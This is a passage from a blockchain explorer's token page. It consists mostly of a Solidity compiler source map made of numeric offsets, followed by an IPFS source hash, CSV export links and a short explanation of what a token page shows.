591:3;9587:12;9580:19;;9239:366;;;:::o;9611:419::-;9777:4;9815:2;9804:9;9800:18;9792:26;;9864:9;9858:4;9854:20;9850:1;9839:9;9835:17;9828:47;9892:131;10018:4;9892:131;:::i;:::-;9884:139;;9611:419;;;:::o;10036:180::-;10084:77;10081:1;10074:88;10181:4;10178:1;10171:15;10205:4;10202:1;10195:15;10222:348;10262:7;10285:20;10303:1;10285:20;:::i;:::-;10280:25;;10319:20;10337:1;10319:20;:::i;:::-;10314:25;;10507:1;10439:66;10435:74;10432:1;10429:81;10424:1;10417:9;10410:17;10406:105;10403:131;;;10514:18;;:::i;:::-;10403:131;10562:1;10559;10555:9;10544:20;;10222:348;;;;:::o;10576:180::-;10624:77;10621:1;10614:88;10721:4;10718:1;10711:15;10745:4;10742:1;10735:15;10762:185;10802:1;10819:20;10837:1;10819:20;:::i;:::-;10814:25;;10853:20;10871:1;10853:20;:::i;:::-;10848:25;;10892:1;10882:35;;10897:18;;:::i;:::-;10882:35;10939:1;10936;10932:9;10927:14;;10762:185;;;;:::o;10953:167::-;11093:19;11089:1;11081:6;11077:14;11070:43;10953:167;:::o;11126:366::-;11268:3;11289:67;11353:2;11348:3;11289:67;:::i;:::-;11282:74;;11365:93;11454:3;11365:93;:::i;:::-;11483:2;11478:3;11474:12;11467:19;;11126:366;;;:::o;11498:419::-;11664:4;11702:2;11691:9;11687:18;11679:26;;11751:9;11745:4;11741:20;11737:1;11726:9;11722:17;11715:47;11779:131;11905:4;11779:131;:::i;:::-;11771:139;;11498:419;;;:::o;11923:224::-;12063:34;12059:1;12051:6;12047:14;12040:58;12132:7;12127:2;12119:6;12115:15;12108:32;11923:224;:::o;12153:366::-;12295:3;12316:67;12380:2;12375:3;12316:67;:::i;:::-;12309:74;;12392:93;12481:3;12392:93;:::i;:::-;12510:2;12505:3;12501:12;12494:19;;12153:366;;;:::o;12525:419::-;12691:4;12729:2;12718:9;12714:18;12706:26;;12778:9;12772:4;12768:20;12764:1;12753:9;12749:17;12742:47;12806:131;12932:4;12806:131;:::i;:::-;12798:139;;12525:419;;;:::o;12950:222::-;13090:34;13086:1;13078:6;13074:14;13067:58;13159:5;13154:2;13146:6;13142:15;13135:30;12950:222;:::o;13178:366::-;13320:3;13341:67;13405:2;13400:3;13341:67;:::i;:::-;13334:74;;13417:93;13506:3;13417:93;:::i;:::-;13535:2;13530:3;13526:12;13519:19;;13178:366;;;:::o;13550:419::-;13716:4;13754:2;13743:9;13739:18;13731:26;;13803:9;13797:4;13793:20;13789:1;13778:9;13774:17;13767:47;13831:131;13957:4;13831:131;:::i;:::-;13823:139;;13550:419;;;:::o;13975:227::-;14115:34;14111:1;14103:6;14099:14;14092:58;14184:10;14179:2;14171:6;14167:15;14160:35;13975:227;:::o;14208:366::-;14350:3;14371:67;14435:2;14430:3;14371:67;:::i;:::-;14364:74;;14447:93;14536:3;14447:93;:::i;:::-;14565:2;14560:3;14556:12;14549:19;;14208:366;;;:::o;14580:419::-;14746:4;14784:2;14773:9;14769:18;14761:26;;14833:9;14827:4;14823:20;14819:1;14808:9;14804:17;14797:47;14861:131;14987:4;14861:131;:::i;:::-;14853:139;;14580:419;;;:::o;15005:191::-;15045:3;15064:20;15082:1;15064:20;:::i;:::-;15059:25;;15098:20;15116:1;15098:20;:::i;:::-;15093:25;;15141:1;15138;15134:9;15127:16;;15162:3;15159:1;15156:10;15153:36;;;15169:18;;:::i;:::-;15153:36;15005:191;;;;:::o;15202:167::-;15239:3;15262:22;15278:5;15262:22;:::i;:::-;15253:31;;15306:4;15299:5;15296:15;15293:41;;15314:18;;:::i;:::-;15293:41;15361:1;15354:5;15350:13;15343:20;;15202:167;;;:::o;15375:180::-;15423:77;15420:1;15413:88;15520:4;15517:1;15510:15;15544:4;15541:1;15534:15;15561:180;15609:77;15606:1;15599:88;15706:4;15703:1;15696:15;15730:4;15727:1;15720:15;15747:143;15804:5;15835:6;15829:13;15820:22;;15851:33;15878:5;15851:33;:::i;:::-;15747:143;;;;:::o;15896:351::-;15966:6;16015:2;16003:9;15994:7;15990:23;15986:32;15983:119;;;16021:79;;:::i;:::-;15983:119;16141:1;16166:64;16222:7;16213:6;16202:9;16198:22;16166:64;:::i;:::-;16156:74;;16112:128;15896:351;;;;:::o;16253:85::-;16298:7;16327:5;16316:16;;16253:85;;;:::o;16344:158::-;16402:9;16435:61;16453:42;16462:32;16488:5;16462:32;:::i;:::-;16453:42;:::i;:::-;16435:61;:::i;:::-;16422:74;;16344:158;;;:::o;16508:147::-;16603:45;16642:5;16603:45;:::i;:::-;16598:3;16591:58;16508:147;;:::o;16661:114::-;16728:6;16762:5;16756:12;16746:22;;16661:114;;;:::o;16781:184::-;16880:11;16914:6;16909:3;16902:19;16954:4;16949:3;16945:14;16930:29;;16781:184;;;;:::o;16971:132::-;17038:4;17061:3;17053:11;;17091:4;17086:3;17082:14;17074:22;;16971:132;;;:::o;17109:108::-;17186:24;17204:5;17186:24;:::i;:::-;17181:3;17174:37;17109:108;;:::o;17223:179::-;17292:10;17313:46;17355:3;17347:6;17313:46;:::i;:::-;17391:4;17386:3;17382:14;17368:28;;17223:179;;;;:::o;17408:113::-;17478:4;17510;17505:3;17501:14;17493:22;;17408:113;;;:::o;17557:732::-;17676:3;17705:54;17753:5;17705:54;:::i;:::-;17775:86;17854:6;17849:3;17775:86;:::i;:::-;17768:93;;17885:56;17935:5;17885:56;:::i;:::-;17964:7;17995:1;17980:284;18005:6;18002:1;17999:13;17980:284;;;18081:6;18075:13;18108:63;18167:3;18152:13;18108:63;:::i;:::-;18101:70;;18194:60;18247:6;18194:60;:::i;:::-;18184:70;;18040:224;18027:1;18024;18020:9;18015:14;;17980:284;;;17984:14;18280:3;18273:10;;17681:608;;;17557:732;;;;:::o;18295:831::-;18558:4;18596:3;18585:9;18581:19;18573:27;;18610:71;18678:1;18667:9;18663:17;18654:6;18610:71;:::i;:::-;18691:80;18767:2;18756:9;18752:18;18743:6;18691:80;:::i;:::-;18818:9;18812:4;18808:20;18803:2;18792:9;18788:18;18781:48;18846:108;18949:4;18940:6;18846:108;:::i;:::-;18838:116;;18964:72;19032:2;19021:9;19017:18;19008:6;18964:72;:::i;:::-;19046:73;19114:3;19103:9;19099:19;19090:6;19046:73;:::i;:::-;18295:831;;;;;;;;:::o;19132:194::-;19172:4;19192:20;19210:1;19192:20;:::i;:::-;19187:25;;19226:20;19244:1;19226:20;:::i;:::-;19221:25;;19270:1;19267;19263:9;19255:17;;19294:1;19288:4;19285:11;19282:37;;;19299:18;;:::i;:::-;19282:37;19132:194;;;;:::o
Swarm Source
ipfs://ae654efbf43906fd0a49a277746e8edd96435bdd48e4f495c4589cd94c035c3d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.